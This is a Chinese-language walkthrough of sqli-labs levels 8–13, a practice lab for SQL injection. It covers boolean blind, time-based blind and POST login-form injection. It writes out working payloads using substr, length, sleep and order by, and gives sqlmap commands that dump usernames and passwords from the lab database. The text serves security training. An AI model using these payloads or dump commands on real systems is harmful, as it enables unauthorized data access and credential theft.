sqli-labs注入全流程!2026最新(less8-13)

Less-8(单引号字符型布尔盲注)

/*这一关的页面不会直接显示数据库信息或报错,只会根据 SQL 语句的真假,返回"You are in"或者没有任何内容,因此我们需要通过页面的"有"和"无"来推断数据*/

闭合类型:单引号 ‘ 闭合

输入?id=1’ and 1=1--+

?id=1’ and 1=2--+

可证明是布尔盲注。

使用length():判断长度。

substr()/mid():截取字符串。

如:判断数据库名长度是否等于8

?id=1' and length(database())=8 --+

一个个数字尝试,直到回显为真(you are in..),证明长度为8

接下来爆破表明,用

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) = 'a' --+!注意!,1),1,1) = 'a'中,黄1是位置变量

来猜第n为的字母,如上述代码的作用就是查看第一位的字母是否为a

反复猜知道爆出库明,然后用同样的方法爆表名和列名,最后得到数据。

如果你觉得这样太麻烦,不妨使用sqlmap进行注入(在知道原理的情况下使用工具是没问题的!)

!此关之后的关卡只会教学手工注入,理解原理为主!

sqlmap -u "http://你的靶机IP/sqli-labs-master/Less-8/?id=1" --technique=B –batch

 -u:指定存在潜在注入点的URL。

 --technique=B:告诉 sqlmap 只使用布尔盲注(Boolean-based blind)技术进行测试

 。

 --batch:使用默认选项自动运行,无需我们手动确认

找到注入点后:--current-db –batch来爆库明(双引号里内容不变)

找到有用的数据,然后继续按流程爆表明、列名、数据。

表明:-D security --tables --batch

列名:-D security -T users --columns --batch

数据:-D security -T users -C "username,password" --dump --batch

使用工具轻松拿下!

第一次使用sqlmap可以执行-h来查看所有命令

Less-9(时间盲注)

/*这一关和 Less-8 最大的不同是,你输入任何东西,页面都只返回 "You are in...",没有任何变化。这就意味着我们不能通过页面有没有内容来判断对错了,得换一种思路:用响应时间的长短来判断条件是否成立,也就是时间盲注。*/

首先用:

http://你的靶机IP/sqli-labs/Less-9/?id=1' and sleep(10) --+

来判断闭合类型,(如果是‘闭合,则页面响应延迟10秒),然后耐心等待,若有延迟10秒,说明闭合类型是单引号’。若立即响应,说明不是,多尝试(’ “ ‘) “) ‘)) “)) 等闭合)

响应时间即左上角的加载图标,一直转说明还在响应!

然后开始爆库名:

?id=1' and if((length(database())=8),sleep(5),0) --+若库名长度为8,响应5秒

?id=1' and if((substr(database(),1,1)='a'),sleep(5),0) --+若第一个数字是a,响应5秒

和上一关一样,猜完长度猜字母,直到拿到users数据!

Less-10:除闭合方式为双引号“外,和less-9没有区别。

Less-11(单引号字符型注入)

/*从这一关开始,我们进入了一个新的领域:POST 注入。页面从在 URL 后面拼接参数,变成了一个登录表单。但这背后的核心逻辑和 SQL 注入的本质,和我们之前学过的 GET 型注入是完全相通的。*/

首先判断闭合:在Username输入框输入:admin'(密码随便填,比如 123)

正常不会报错,如果报错,说明‘闭合了username,多出了一个‘ ,所以报错

所以本体以单引号‘闭合

可以验证一下,在admin’后加#注释掉后边的 ‘ 。即admin’ #

单引号不在干扰程序,正常执行提示密码错误。

接下来输入admin' order by 1 #把1以此换成2,3.判断字段数。接下来是回显

聪明的你一定发现了接下来的流程和第一关一样了,只是payload中id=1 换成了admin(任意用户名)。所以接下来的流程也就不过多赘述~

Less-12、less-13的区别是闭合方式分别变成 ‘)和 “)其他和less-11没有区别。